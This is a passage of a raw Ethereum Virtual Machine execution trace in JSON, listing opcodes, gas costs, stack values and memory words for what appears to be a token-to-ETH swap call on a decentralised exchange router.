00000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5410,"op":"JUMPDEST","gas":101652,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5411,"op":"SWAP1","gas":101651,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5412,"op":"POP","gas":101648,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5413,"op":"PUSH2","gas":101646,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5416,"op":"DUP2","gas":101643,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5417,"op":"DUP4","gas":101640,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5418,"op":"PUSH2","gas":101637,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5421,"op":"JUMP","gas":101634,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x3b31"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15153,"op":"JUMPDEST","gas":101626,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15154,"op":"PUSH1","gas":101625,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15156,"op":"DUP3","gas":101622,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15157,"op":"PUSH2","gas":101619,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x0","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15160,"op":"JUMPI","gas":101616,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x0","0xab4dea38af63a9224ad350","0x3b4e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15182,"op":"JUMPDEST","gas":101606,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15183,"op":"POP","gas":101605,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15184,"op":"DIV","gas":101603,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0xab4dea38af63a9224ad350","0xd0038895780ca89cd8a752ed44f9180000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15185,"op":"SWAP1","gas":101598,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0xab4dea38af63a9224ad350","0x152e","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15186,"op":"JUMP","gas":101595,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0